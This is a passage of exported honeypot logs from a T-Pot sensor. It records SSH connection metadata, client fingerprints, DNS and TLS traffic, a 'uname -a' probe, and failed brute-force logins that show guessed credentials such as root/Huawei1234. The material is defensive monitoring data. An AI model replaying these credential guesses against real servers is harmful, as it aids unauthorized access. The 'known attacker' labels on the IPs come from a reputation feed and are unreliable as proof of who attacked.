"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none"}, "protocol": "ssh", "src_port": 52986, "dest_port": 22, "timestamp": "2021-09-20T11:33:28.128646", "@timestamp": "2021-09-20T11:33:28.128Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	known attacker	\N
30243	1.117.219.217	109.199.241.180	Fatt	2021-09-20 14:33:28.683749+03	2021-09-20 14:45:02.746142+03	{"_id": "Qgb7AnwBvYTbRNuEfzvS", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {"ip": "1.117.219.217", "latitude": 39.9288, "location": {"lat": 39.9288, "lon": 116.3889}, "timezone": "Asia/Shanghai", "city_name": "Beijing", "longitude": 116.3889, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "src_ip": "1.117.219.217", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,rsa-sha2-512,rsa-sha2-256,ssh-rsa,ssh-dss", "hassh": "f555226df1963d1d3c09daf865abdc9a", "ccacts": "none", "ccastc": "none", "ceacts": "aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc", "ceastc": "aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc", "client": "SSH-2.0-libssh_0.9.6", "cmacts": "hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1", "cmastc": "hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none"}, "protocol": "ssh", "src_port": 50408, "dest_port": 22, "timestamp": "2021-09-20T11:33:28.683749", "@timestamp": "2021-09-20T11:33:28.683Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	known attacker	\N
31335	150.109.115.128	109.199.241.180	Cowrie	2021-09-20 14:44:15.083857+03	2021-09-20 14:45:04.351143+03	{"_id": "dQYFA3wBvYTbRNuEXUO2", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "tags": ["_geoip_lookup_failure"], "type": "Cowrie", "geoip": {"ip": "150.109.115.128", "latitude": 22.25, "location": {"lat": 22.25, "lon": 114.1667}, "timezone": "Asia/Hong_Kong", "longitude": 114.1667, "country_name": "Hong Kong", "country_code2": "HK", "country_code3": "HK", "continent_code": "AS"}, "input": "uname -a", "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "150.109.115.128", "eventid": "cowrie.command.input", "message": "CMD: uname -a", "session": "d8a32464a4ea", "@version": "1", "timestamp": "2021-09-20T11:44:15.083857Z", "@timestamp": "2021-09-20T11:44:15.083Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.command.input	\N	known attacker	\N
30244	1.117.219.217	109.199.241.180	Cowrie	2021-09-20 14:33:28.41596+03	2021-09-20 14:45:02.747141+03	{"_id": "SAb7AnwBvYTbRNuEgDv-", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "tags": ["_geoip_lookup_failure"], "type": "Cowrie", "geoip": {"ip": "1.117.219.217", "latitude": 39.9288, "location": {"lat": 39.9288, "lon": 116.3889}, "timezone": "Asia/Shanghai", "city_name": "Beijing", "longitude": 116.3889, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "1.117.219.217", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 1.117.219.217:50408 (192.168.176.2:22) [session: d1a5d8d538f6]", "session": "d1a5d8d538f6", "@version": "1", "protocol": "ssh", "src_port": 50408, "dest_port": 22, "timestamp": "2021-09-20T11:33:28.415960Z", "@timestamp": "2021-09-20T11:33:28.415Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	known attacker	\N
30245	42.192.47.188	109.199.241.180	Cowrie	2021-09-20 14:33:29.003142+03	2021-09-20 14:45:02.749143+03	{"_id": "SQb7AnwBvYTbRNuEgDv-", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "tags": ["_geoip_lookup_failure"], "type": "Cowrie", "geoip": {"ip": "42.192.47.188", "latitude": 39.9288, "location": {"lat": 39.9288, "lon": 116.3889}, "timezone": "Asia/Shanghai", "city_name": "Beijing", "longitude": 116.3889, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "42.192.47.188", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 42.192.47.188:55918 (192.168.176.2:22) [session: cf2ee2f652c5]", "session": "cf2ee2f652c5", "@version": "1", "protocol": "ssh", "src_port": 55918, "dest_port": 22, "timestamp": "2021-09-20T11:33:29.003142Z", "@timestamp": "2021-09-20T11:33:29.003Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	known attacker	\N
30246	95.85.8.215	109.199.241.180	Cowrie	2021-09-20 14:33:28.551285+03	2021-09-20 14:45:02.750145+03	{"_id": "Sgb7AnwBvYTbRNuEgDv-", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "95.85.8.215", "asn": 14061, "as_org": "Digital Ocean, Inc.", "latitude": 52.2977, "location": {"lat": 52.2977, "lon": 4.9562}, "timezone": "Europe/Amsterdam", "city_name": "Amsterdam", "longitude": 4.9562, "postal_code": "1105", "region_code": "NH", "region_name": "North Holland", "country_name": "Netherlands", "country_code2": "NL", "country_code3": "NL", "continent_code": "EU"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "95.85.8.215", "eventid": "cowrie.login.failed", "message": "login attempt [admin/abcd1234] failed", "session": "770da045cc5b", "@version": "1", "password": "abcd1234", "username": "admin", "timestamp": "2021-09-20T11:33:28.551285Z", "@timestamp": "2021-09-20T11:33:28.551Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	known attacker	\N
30247	195.24.88.8	109.199.241.180	Suricata	2021-09-20 14:33:31.591818+03	2021-09-20 14:45:02.751142+03	{"_id": "Wgb7AnwBvYTbRNuEijt4", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"dns": {"id": 22327, "qr": true, "ra": true, "rd": true, "type": "answer", "flags": "8180", "rcode": "NOERROR", "rrname": "community.sicherheitstacho.eu", "rrtype": "A", "answers": [{"ttl": 635, "rdata": "160.44.201.156", "rrname": "community.sicherheitstacho.eu", "rrtype": "A"}], "grouped": {"A": ["160.44.201.156"]}, "version": 2}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "195.24.88.8", "asn": 25374, "as_org": "ESCOM Ltd. - Haskovo", "latitude": 42.2839, "location": {"lat": 42.2839, "lon": 22.6911}, "timezone": "Europe/Sofia", "city_name": "Kyustendil", "longitude": 22.6911, "postal_code": "2500", "region_code": "10", "region_name": "Kyustendil", "country_name": "Bulgaria", "country_code2": "BG", "country_code3": "BG", "continent_code": "EU"}, "proto": "UDP", "src_ip": "195.24.88.8", "dest_ip": "192.168.20.116", "flow_id": 166384643015318, "@version": "1", "in_iface": "enp5s0", "src_port": 53, "dest_port": 53350, "timestamp": "2021-09-20T11:33:31.591818Z", "@timestamp": "2021-09-20T11:33:31.591Z", "event_type": "dns", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	dns	\N	\N
30248	192.168.20.116	109.199.241.180	Suricata	2021-09-20 14:33:31.590486+03	2021-09-20 14:45:02.753142+03	{"_id": "XAb7AnwBvYTbRNuEijt4", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"dns": {"id": 22327, "type": "query", "tx_id": 0, "rrname": "community.sicherheitstacho.eu", "rrtype": "A"}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "geoip": {}, "proto": "UDP", "src_ip": "192.168.20.116", "dest_ip": "195.24.88.8", "flow_id": 166384643015318, "@version": "1", "in_iface": "enp5s0", "src_port": 53350, "dest_port": 53, "timestamp": "2021-09-20T11:33:31.590486Z", "@timestamp": "2021-09-20T11:33:31.590Z", "event_type": "dns", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	dns	\N	\N
30249	192.168.20.116	109.199.241.180	Suricata	2021-09-20 14:33:30.999496+03	2021-09-20 14:45:02.754141+03	{"_id": "WQb7AnwBvYTbRNuEijt4", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"dns": {"id": 42883, "type": "query", "tx_id": 0, "rrname": "community.sicherheitstacho.eu", "rrtype": "A"}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "geoip": {}, "proto": "UDP", "src_ip": "192.168.20.116", "dest_ip": "195.24.88.8", "flow_id": 1809512428879944, "@version": "1", "in_iface": "enp5s0", "src_port": 55146, "dest_port": 53, "timestamp": "2021-09-20T11:33:30.999496Z", "@timestamp": "2021-09-20T11:33:30.999Z", "event_type": "dns", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	dns	\N	\N
30250	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:33:31.052044+03	2021-09-20 14:45:02.755141+03	{"_id": "XQb7AnwBvYTbRNuEizuL", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "160.44.201.156", "@version": "1", "fatt_tls": {"ja3": "f0a8f03cd88db5395e12077d3e4aa1fc", "ja3Ec": "29-23-30-25-24", "ja3EcFmt": "0-1-2", "ja3Ciphers": "4866-4867-4865-49196-49200-49195-49199-52393-52392-159-158-52394-49327-49325-49326-49324-49188-49192-49187-49191-49162-49172-49161-49171-49315-49311-49314-49310-107-103-57-51-157-156-49313-49309-49312-49308-61-60-53-47-255", "ja3Version": "771", "serverName": "community.sicherheitstacho.eu", "ja3Algorithms": "771,4866-4867-4865-49196-49200-49195-49199-52393-52392-159-158-52394-49327-49325-49326-49324-49188-49192-49187-49191-49162-49172-49161-49171-49315-49311-49314-49310-107-103-57-51-157-156-49313-49309-49312-49308-61-60-53-47-255,0-11-10-35-22-23-13-43-45-51,29-23-30-25-24,0-1-2", "ja3Extensions": "0-11-10-35-22-23-13-43-45-51"}, "protocol": "tls", "src_port": 35362, "dest_port": 443, "timestamp": "2021-09-20T11:33:31.052044", "@timestamp": "2021-09-20T11:33:31.052Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	tls	\N	\N	\N	\N
30251	176.60.208.43	109.199.241.180	Suricata	2021-09-20 14:33:28.128646+03	2021-09-20 14:45:02.756142+03	{"_id": "Owb7AnwBvYTbRNuEfju_", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "libssh_0.9.6"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "flow": {"start": "2021-09-20T11:33:28.020718+0000", "pkts_toclient": 3, "pkts_toserver": 5, "bytes_toclient": 821, "bytes_toserver": 1336}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "alert": {"gid": 1, "rev": 8, "action": "allowed", "category": "Misc activity", "metadata": {"created_at": ["2010_07_30"], "updated_at": ["2010_07_30"]}, "severity": 3, "signature": "ET POLICY SSH session in progress on Expected Port", "signature_id": 2001978}, "geoip": {"ip": "176.60.208.43", "asn": 25106, "as_org": "Mobile TeleSystems JLLC", "latitude": 53.0, "location": {"lat": 53.0, "lon": 28.0}, "timezone": "Europe/Minsk", "longitude": 28.0, "country_name": "Belarus", "country_code2": "BY", "country_code3": "BY", "continent_code": "EU"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "176.60.208.43", "stream": 0, "dest_ip": "192.168.20.116", "flow_id": 1562674215801070, "payload": "AAADzAYUjsjron1qKoGkz+KVg/LN6QAAAShjdXJ2ZTI1NTE5LXNoYTI1NixjdXJ2ZTI1NTE5LXNoYTI1NkBsaWJzc2gub3JnLGVjZGgtc2hhMi1uaXN0cDI1NixlY2RoLXNoYTItbmlzdHAzODQsZWNkaC1zaGEyLW5pc3RwNTIxLGRpZmZpZS1oZWxsbWFuLWdyb3VwMTgtc2hhNTEyLGRpZmZpZS1oZWxsbWFuLWdyb3VwMTYtc2hhNTEyLGRpZmZpZS1oZWxsbWFuLWdyb3VwLWV4Y2hhbmdlLXNoYTI1NixkaWZmaWUtaGVsbG1hbi1ncm91cDE0LXNoYTI1NixkaWZmaWUtaGVsbG1hbi1ncm91cDE0LXNoYTEsZGlmZmllLWhlbGxtYW4tZ3JvdXAxLXNoYTEsZXh0LWluZm8tYwAAAHFzc2gtZWQyNTUxOSxlY2RzYS1zaGEyLW5pc3RwNTIxLGVjZHNhLXNoYTItbmlzdHAzODQsZWNkc2Etc2hhMi1uaXN0cDI1Nixyc2Etc2hhMi01MTIscnNhLXNoYTItMjU2LHNzaC1yc2Esc3NoLWRzcwAAAHhhZXMyNTYtZ2NtQG9wZW5zc2guY29tLGFlczEyOC1nY21Ab3BlbnNzaC5jb20sYWVzMjU2LWN0cixhZXMxOTItY3RyLGFlczEyOC1jdHIsYWVzMjU2LWNiYyxhZXMxOTItY2JjLGFlczEyOC1jYmMsM2Rlcy1jYmMAAAB4YWVzMjU2LWdjbUBvcGVuc3NoLmNvbSxhZXMxMjgtZ2NtQG9wZW5zc2guY29tLGFlczI1Ni1jdHIsYWVzMTkyLWN0cixhZXMxMjgtY3RyLGFlczI1Ni1jYmMsYWVzMTkyLWNiYyxhZXMxMjgtY2JjLDNkZXMtY2JjAAAAe2htYWMtc2hhMi0yNTYtZXRtQG9wZW5zc2guY29tLGhtYWMtc2hhMi01MTItZXRtQG9wZW5zc2guY29tLGhtYWMtc2hhMS1ldG1Ab3BlbnNzaC5jb20saG1hYy1zaGEyLTI1NixobWFjLXNoYTItNTEyLGhtYWMtc2hhMQAAAHtobWFjLXNoYTItMjU2LWV0bUBvcGVuc3NoLmNvbSxobWFjLXNoYTItNTEyLWV0bUBvcGVuc3NoLmNvbSxobWFjLXNoYTEtZXRtQG9wZW5zc2guY29tLGhtYWMtc2hhMi0yNTYsaG1hYy1zaGEyLTUxMixobWFjLXNoYTEAAAAEbm9uZQAAAARub25lAAAAAAAAAAAAAAAAAAAAAAAAAA==", "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 52986, "app_proto": "ssh", "dest_port": 22, "timestamp": "2021-09-20T11:33:28.128646Z", "@timestamp": "2021-09-20T11:33:28.128Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "..........}j*............(curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c...qssh-ed25519,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,rsa-sha2-512,rsa-sha2-256,ssh-rsa,ssh-dss...xaes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc...xaes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc...{hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1...{hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1....none....none..................."}}	1	\N	\N	alert	known attacker	\N
30252	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:33:28.077777+03	2021-09-20 14:45:02.758141+03	{"_id": "Pwb7AnwBvYTbRNuEfzvS", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "176.60.208.43", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 52986, "timestamp": "2021-09-20T11:33:28.077777", "@timestamp": "2021-09-20T11:33:28.077Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
30253	160.44.201.156	109.199.241.180	Fatt	2021-09-20 14:33:31.094489+03	2021-09-20 14:45:02.759142+03	{"_id": "YAb7AnwBvYTbRNuEizuM", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "160.44.201.156", "asn": 34086, "as_org": "T-Systems International GmbH", "latitude": 51.2993, "location": {"lat": 51.2993, "lon": 9.491}, "timezone": "Europe/Berlin", "longitude": 9.491, "country_name": "Germany", "country_code2": "DE", "country_code3": "DE", "continent_code": "EU"}, "src_ip": "160.44.201.156", "dest_ip": "192.168.20.116", "@version": "1", "fatt_tls": {"ja3s": "ec74a5c51106f0419184d0dd08fb05bc", "ja3sCiphers": "49200", "ja3sVersion": "771", "ja3sAlgorithms": "771,49200,65281-11-35-23", "ja3sExtensions": "65281-11-35-23"}, "protocol": "tls", "src_port": 443, "dest_port": 35362, "timestamp": "2021-09-20T11:33:31.094489", "@timestamp": "2021-09-20T11:33:31.094Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	tls	\N	\N	\N	\N
30254	178.128.198.1	109.199.241.180	Cowrie	2021-09-20 14:33:38.950793+03	2021-09-20 14:45:02.761142+03	{"_id": "bwb7AnwBvYTbRNuEqDsT", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "178.128.198.1", "asn": 1241, "as_org": "Forthnet", "latitude": 50.1155, "location": {"lat": 50.1155, "lon": 8.6842}, "timezone": "Europe/Berlin", "city_name": "Frankfurt am Main", "longitude": 8.6842, "postal_code": "60313", "region_code": "HE", "region_name": "Hesse", "country_name": "Germany", "country_code2": "DE", "country_code3": "DE", "continent_code": "EU"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "178.128.198.1", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 178.128.198.1:56564 (192.168.176.2:22) [session: f503a28a8a28]", "session": "f503a28a8a28", "@version": "1", "protocol": "ssh", "src_port": 56564, "dest_port": 22, "timestamp": "2021-09-20T11:33:38.950793Z", "@timestamp": "2021-09-20T11:33:38.950Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	known attacker	\N
30255	178.128.198.1	109.199.241.180	Cowrie	2021-09-20 14:33:38.95378+03	2021-09-20 14:45:02.762141+03	{"_id": "cAb7AnwBvYTbRNuEqDsT", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "178.128.198.1", "asn": 1241, "as_org": "Forthnet", "latitude": 50.1155, "location": {"lat": 50.1155, "lon": 8.6842}, "timezone": "Europe/Berlin", "city_name": "Frankfurt am Main", "longitude": 8.6842, "postal_code": "60313", "region_code": "HE", "region_name": "Hesse", "country_name": "Germany", "country_code2": "DE", "country_code3": "DE", "continent_code": "EU"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "178.128.198.1", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-Go'", "session": "f503a28a8a28", "version": "b'SSH-2.0-Go'", "@version": "1", "timestamp": "2021-09-20T11:33:38.953780Z", "@timestamp": "2021-09-20T11:33:38.953Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	known attacker	\N
30256	178.128.198.1	109.199.241.180	Cowrie	2021-09-20 14:33:38.990912+03	2021-09-20 14:45:02.763142+03	{"_id": "cQb7AnwBvYTbRNuEqDsT", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["aes128-gcm@openssh.com", "chacha20-poly1305@openssh.com", "aes128-ctr", "aes192-ctr", "aes256-ctr"], "geoip": {"ip": "178.128.198.1", "asn": 1241, "as_org": "Forthnet", "latitude": 50.1155, "location": {"lat": 50.1155, "lon": 8.6842}, "timezone": "Europe/Berlin", "city_name": "Frankfurt am Main", "longitude": 8.6842, "postal_code": "60313", "region_code": "HE", "region_name": "Hesse", "country_name": "Germany", "country_code2": "DE", "country_code3": "DE", "continent_code": "EU"}, "hassh": "98ddc5604ef6a1006a2b49a58759fbe6", "macCS": ["hmac-sha2-256-etm@openssh.com", "hmac-sha2-256", "hmac-sha1", "hmac-sha1-96"], "compCS": ["none"], "ip_rep": "known attacker", "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "178.128.198.1", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256@libssh.org", "ecdh-sha2-nistp256", "ecdh-sha2-nistp384", "ecdh-sha2-nistp521", "diffie-hellman-group14-sha1"], "keyAlgs": ["ssh-rsa-cert-v01@openssh.com", "ssh-dss-cert-v01@openssh.com", "ecdsa-sha2-nistp256-cert-v01@openssh.com", "ecdsa-sha2-nistp384-cert-v01@openssh.com", "ecdsa-sha2-nistp521-cert-v01@openssh.com", "ssh-ed25519-cert-v01@openssh.com", "ecdsa-sha2-nistp256", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp521", "ssh-rsa", "ssh-dss", "ssh-ed25519"], "message": "SSH client hassh fingerprint: 98ddc5604ef6a1006a2b49a58759fbe6", "session": "f503a28a8a28", "@version": "1", "timestamp": "2021-09-20T11:33:38.990912Z", "@timestamp": "2021-09-20T11:33:38.990Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none"}}	1	\N	cowrie.client.kex	\N	known attacker	\N
30257	178.128.198.1	109.199.241.180	Cowrie	2021-09-20 14:33:39.120926+03	2021-09-20 14:45:02.765143+03	{"_id": "cgb7AnwBvYTbRNuEqDsT", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "178.128.198.1", "asn": 1241, "as_org": "Forthnet", "latitude": 50.1155, "location": {"lat": 50.1155, "lon": 8.6842}, "timezone": "Europe/Berlin", "city_name": "Frankfurt am Main", "longitude": 8.6842, "postal_code": "60313", "region_code": "HE", "region_name": "Hesse", "country_name": "Germany", "country_code2": "DE", "country_code3": "DE", "continent_code": "EU"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "178.128.198.1", "eventid": "cowrie.login.failed", "message": "login attempt [root/Huawei1234] failed", "session": "f503a28a8a28", "@version": "1", "password": "Huawei1234", "username": "root", "timestamp": "2021-09-20T11:33:39.120926Z", "@timestamp": "2021-09-20T11:33:39.120Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	known attacker	\N
